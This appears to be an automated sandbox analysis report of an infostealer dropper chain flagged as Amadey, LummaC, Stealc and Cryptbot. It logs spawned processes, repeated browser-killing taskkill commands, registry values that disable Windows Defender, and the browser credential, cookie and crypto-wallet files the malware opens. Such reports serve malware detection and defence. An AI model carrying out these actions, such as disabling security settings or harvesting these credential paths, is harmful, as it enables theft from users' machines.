Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_053D0DAF rdtsc

0_2_053D0DAF

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 9b8665be8a.exe PID: 7888, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe "C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe "C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe "C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe "C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Source: 36321ea525.exe, 0000000B.00000002.2637223017.0000000000DF2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000002.00000002.1821553428.0000000001147000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: *Program Manager
Source: d015c0e328.exe, d015c0e328.exe, 00000007.00000002.2928166711.0000000006599000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: 9b8665be8a.exe, 9b8665be8a.exe, 00000008.00000002.2534980003.0000000000C0F000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: mProgram Manager
Source: firefox.exe, 00000019.00000002.2791332255.0000001E7E5FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: d015c0e328.exe, d015c0e328.exe, 00000007.00000002.2902629480.0000000000900000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: DProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: d015c0e328.exe, 00000007.00000003.2799971962.0000000001111000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2572023293.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2693329851.000000000113E000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2710867732.0000000001653000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2836656383.000000000164D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.f40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.f40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1779970897.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1816150110.0000000000F41000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2282068353.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1786321241.0000000000A11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1821078306.0000000000F41000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1775730528.00000000056E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1746120844.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 36321ea525.exe PID: 7296, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d015c0e328.exe PID: 7632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d015c0e328.exe PID: 5236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d015c0e328.exe PID: 4428, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000008.00000003.2491430724.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2537402557.000000000138E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2696170160.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2795135342.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2788626873.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2532205314.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9b8665be8a.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: d015c0e328.exe	String found in binary or memory: Wallets/Electrum
Source: d015c0e328.exe	String found in binary or memory: Wallets/ElectronCash
Source: d015c0e328.exe	String found in binary or memory: window-state.json
Source: d015c0e328.exe, 00000007.00000003.2539906220.0000000001190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: d015c0e328.exe, 00000016.00000003.2681910564.0000000000548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Exodus\\exodus{
Source: d015c0e328.exe, 00000007.00000003.2510001376.0000000005A07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3X
Source: d015c0e328.exe	String found in binary or memory: Wallets/Ethereum
Source: d015c0e328.exe, 0000000A.00000003.2682307378.000000000163B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: d015c0e328.exe, 00000007.00000003.2540070221.0000000001196000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: d015c0e328.exe, 00000016.00000003.2748385585.000000000054D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
